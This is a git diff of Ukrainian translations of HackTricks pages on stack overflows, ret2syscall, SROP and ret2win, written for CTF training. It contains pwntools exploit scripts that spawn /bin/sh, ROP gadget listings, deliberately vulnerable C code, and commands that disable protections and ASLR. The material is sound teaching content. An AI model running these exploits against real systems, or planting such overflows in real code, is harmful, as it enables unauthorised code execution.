Якщо у вас **відсутні гаджети**, наприклад, щоб записати `/bin/sh` в пам'ять, ви можете використовувати **техніку SROP для контролю всіх значень регістрів** (включаючи RIP та регістри параметрів) зі стеку:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## Приклад експлуатації
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## Інші приклади та посилання
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64 біти, без PIE, nx, записати в пам'ять ROP для виклику `execve` і стрибнути туди.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64 біти, nx, без PIE, записати в пам'ять ROP для виклику `execve` і стрибнути туди. Для запису в стек зловживають функцією, яка виконує математичні операції.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику `execve` і стрибнути туди.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,80 +2,73 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Знайдіть вступ до arm64 у:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Код
We are going to use the example from the page:
Ми будемо використовувати приклад зі сторінки:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Скомпілювати без pie та canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration:
Щоб підготувати виклик для **syscall**, потрібна наступна конфігурація:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
- `x8: 221 Вказати sys_execve`
- `x0: ptr до "/bin/sh" вказати файл для виконання`
- `x1: 0 вказати, що аргументи не передані`
- `x2: 0 вказати, що змінні середовища не передані`
Використовуючи ROPgadget.py, я зміг знайти наступні гаджети в бібліотеці libc на машині:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
З попередніми гаджетами ми можемо контролювати всі необхідні регістри зі стеку і використовувати x5, щоб перейти до другого гаджета для виклику syscall.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> Зверніть увагу, що знання цієї інформації з бібліотеки libc також дозволяє здійснити атаку ret2libc, але давайте використаємо це для цього поточного прикладу.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,22 @@
## Basic Information
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`** - це спеціальний **syscall**, який в основному використовується для очищення після завершення виконання обробника сигналів. Сигнали - це переривання, які надсилаються програмі операційною системою, часто для вказівки на те, що сталася якась виняткова ситуація. Коли програма отримує сигнал, вона тимчасово призупиняє свою поточну роботу, щоб обробити сигнал за допомогою **обробника сигналів**, спеціальної функції, призначеної для роботи з сигналами.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
Після завершення обробника сигналів програма повинна **відновити свій попередній стан**, ніби нічого не сталося. Тут і вступає в гру **`sigreturn`**. Він допомагає програмі **повернутися з обробника сигналів** і відновлює стан програми, очищаючи стековий фрейм (сектор пам'яті, що зберігає виклики функцій і локальні змінні), який використовувався обробником сигналів.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
Цікава частина полягає в тому, як **`sigreturn`** відновлює стан програми: він робить це, зберігаючи **всі значення регістрів ЦП на стеку.** Коли сигнал більше не заблокований, **`sigreturn` витягує ці значення зі стеку**, ефективно скидаючи регістри ЦП до їх стану до обробки сигналу. Це включає регістр вказівника стеку (RSP), який вказує на поточну верхню частину стеку.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> Виклик syscall **`sigreturn`** з ROP-ланцюга та **додавання значень регістрів**, які ми хочемо завантажити в **стек**, дозволяє **контролювати** всі значення регістрів і, отже, **викликати**, наприклад, syscall `execve` з `/bin/sh`.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
Зверніть увагу, що це буде **типом Ret2syscall**, який значно спрощує контроль параметрів для виклику інших Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Якщо вам цікаво, це **структура sigcontext**, що зберігається в стеку для подальшого відновлення значень (діаграма з [**тут**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
Для кращого пояснення також перегляньте:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## Приклад
Ви можете [**знайти приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), де виклик signeturn конструюється через ROP (вставляючи в rxa значення `0xf`), хоча це фінальний експлойт звідти:
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
Перевірте також [**експлойт звідси**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), де бінар вже викликав `sigreturn`, тому немає потреби будувати це з **ROP**:
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## Інші приклади та посилання
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** і прочитати прапор, який знаходиться в пам'яті бінарного файлу.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- Бінарний асемблер, який дозволяє **записувати в стек** і потім викликає **`sigreturn`** syscall. Можливо записати в стек [**ret2syscall**](../rop-syscall-execv/) через структуру **sigreturn** (бінарник має рядок `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64 біти, без relro, без canary, nx, без pie. Простий переповнення буфера, що зловживає функцією `gets` з відсутністю гаджетів, які виконують [**ret2syscall**](../rop-syscall-execv/). ROP ланцюг записує `/bin/sh` в `.bss`, викликаючи `gets` знову, зловживає функцією **`alarm`**, щоб встановити eax на `0xf`, щоб викликати **SROP** і виконати оболонку.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- 64 біти асемблерна програма, без relro, без canary, nx, без pie. Потік дозволяє записувати в стек, контролювати кілька регістрів і викликати syscall, а потім викликає `exit`. Вибраний syscall - це `sigreturn`, який встановить регістри і перемістить `eip`, щоб викликати попередню інструкцію syscall і виконати `memprotect`, щоб встановити простір бінарного файлу на `rwx` і встановити ESP в бінарному просторі. Далі програма знову викличе read в ESP, але в цьому випадку ESP буде вказувати на наступну інструкцію, тому передача shellcode запише його як наступну інструкцію і виконає.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP використовується для надання привілеїв виконання (memprotect) місцю, де був розміщений shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Приклад Pwntools
Цей приклад створює вразливий бінарний файл і експлуатує його. Бінарний файл **зчитує в стек** і потім викликає **`sigreturn`**:
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## приклад переповнення буфера
## bof example
### Code
### Код
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
Скомпілюйте його з:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
Експлойт використовує bof, щоб повернутися до виклику **`sigreturn`** і підготувати стек для виклику **`execve`** з вказівником на `/bin/sh`.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## bof приклад без sigreturn
## bof example without sigreturn
### Code
### Код
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
У розділі **`vdso`** можна знайти виклик до **`sigreturn`** за зсувом **`0x7b0`**:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
Отже, якщо буде витік, можна **використати цю адресу для доступу до `sigreturn`**, якщо бінарний файл не завантажує його:
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
Для отримання додаткової інформації про vdso перегляньте:
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
А щоб обійти адресу `/bin/sh`, ви можете створити кілька змінних середовища, які вказують на неї, для отримання додаткової інформації:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

View File

@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow
## Що таке переповнення стеку
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
**Переповнення стеку** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційно до виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, тим самим здатна перезаписати інші частини стеку.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read` & `memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену.
Наприклад, наступні функції можуть бути вразливими:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Знаходження зсувів стекових переповнень
### Finding Stack Overflows offsets
Найпоширеніший спосіб знайти стекові переповнення - це ввести дуже великий вхід з `A`s (наприклад, `python3 -c 'print("A"*1000)'`) і очікувати `Segmentation Fault`, що вказує на те, що **адресу `0x41414141` намагалися отримати доступ**.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
Більше того, як тільки ви виявите, що існує вразливість стекового переповнення, вам потрібно буде знайти зсув, поки не стане можливим **перезаписати адресу повернення**, для цього зазвичай використовується **послідовність Де Брюйна.** Яка для даного алфавіту розміру _k_ і підпослідовностей довжини _n_ є **циклічною послідовністю, в якій кожна можлива підпослідовність довжини \_n**\_\*\* з'являється точно один раз\*\* як безперервна підпослідовність.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
Таким чином, замість того, щоб вручну з'ясовувати, який зсув потрібен для контролю EIP, можна використовувати в якості заповнювача одну з цих послідовностей, а потім знайти зсув байтів, які закінчилися перезаписом.
Можна використовувати **pwntools** для цього:
```python
from pwn import *
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
or **GEF**:
або **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Використання переповнень стеку
## Exploiting Stack Overflows
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управлінський потік перенаправлявся туди, куди вказав користувач** у цьому вказівнику.
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
{{#ref}}
ret2win/
{{#endref}}
### Stack Shellcode
### Стековий Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
У цьому сценарії зловмисник може помістити shellcode у стек і зловживати контрольованим EIP/RIP, щоб стрибнути до shellcode і виконати довільний код:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### ROP та Ret2... техніки
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
Ця техніка є основною основою для обходу основного захисту попередньої техніки: **Не виконавчий стек (NX)**. І вона дозволяє виконувати кілька інших технік (ret2lib, ret2syscall...), які закінчать виконання довільних команд, зловживаючи існуючими інструкціями в бінарному файлі:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap Overflows
## Переповнення купи
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
Переповнення не завжди буде в стеку, воно також може бути в **купі**, наприклад:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## Types of protections
## Типи захисту
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Існує кілька захистів, які намагаються запобігти експлуатації вразливостей, перевірте їх у:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -1,28 +1,28 @@
# Pointer Redirecting
# Перенаправлення вказівників
{{#include ../../banners/hacktricks-training.md}}
## String pointers
## Вказівники рядків
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
Якщо виклик функції буде використовувати адресу рядка, що знаходиться в стеку, можна зловживати переповненням буфера, щоб **перезаписати цю адресу** і вставити **адресу іншого рядка** всередині бінарного файлу.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
Якщо, наприклад, виклик функції **`system`** буде **використовувати адресу рядка для виконання команди**, зловмисник може помістити **адресу іншого рядка в стек**, **`export PATH=.:$PATH`** і створити в поточному каталозі **скрипт з назвою першої літери нового рядка**, оскільки це буде виконано бінарним файлом.
You can find an **example** of this in:
Ви можете знайти **приклад** цього за адресами:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
- 32bit, change address to flags string in the stack so it's printed by `puts`
- 32bit, змініть адресу на рядок прапорців у стеці, щоб його надрукував `puts`
## Function pointers
## Вказівники функцій
Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**).
Те ж саме, що і вказівник рядка, але застосовується до функцій, якщо **стек містить адресу функції**, яка буде викликана, можна **змінити її** (наприклад, щоб викликати **`system`**).
You can find an example in:
Ви можете знайти приклад за адресою:
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## References
## Посилання
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples:
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що стосуються **binary exploitation**. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
### C Example
Consider a simple C program with a vulnerability and a `win` function that we intend to call:
### C приклад
Розглянемо просту C програму з вразливістю та функцією `win`, яку ми маємо намір викликати:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
To compile this program without stack protections and with **ASLR** disabled, you can use the following command:
Щоб скомпілювати цю програму без захисту стеку та з вимкненим **ASLR**, ви можете використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges).
- `-fno-stack-protector`: Disable protections against stack overflows.
- `-z execstack`: Allow execution of code on the stack.
- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change.
- `-o vulnerable`: Name the output file `vulnerable`.
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF викликах).
- `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
- `-z execstack`: Дозволити виконання коду в стеку.
- `-no-pie`: Вимкнути Position Independent Executable, щоб адреса функції `win` не змінювалася.
- `-o vulnerable`: Назвати вихідний файл `vulnerable`.
### Python Exploit using Pwntools
For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function.
Для експлойту ми використаємо **pwntools**, потужний CTF фреймворк для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції `win`.
```python
from pwn import *
@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use:
Щоб знайти адресу функції `win`, ви можете використовувати **gdb**, **objdump** або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з `objdump` ви можете використовувати:
```sh
objdump -d vulnerable | grep win
```
Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу.&#x20;
This command will show you the assembly of the `win` function, including its starting address.&#x20;
Скрипт на Python надсилає ретельно підготовлене повідомлення, яке, обробляючись функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, він переходить до `win`, і повідомлення виводиться.
The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed.
## Захист
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **повинен бути вимкнений** для того, щоб адреса була надійною між виконаннями, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібл) отримати правильну адресу повернення.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
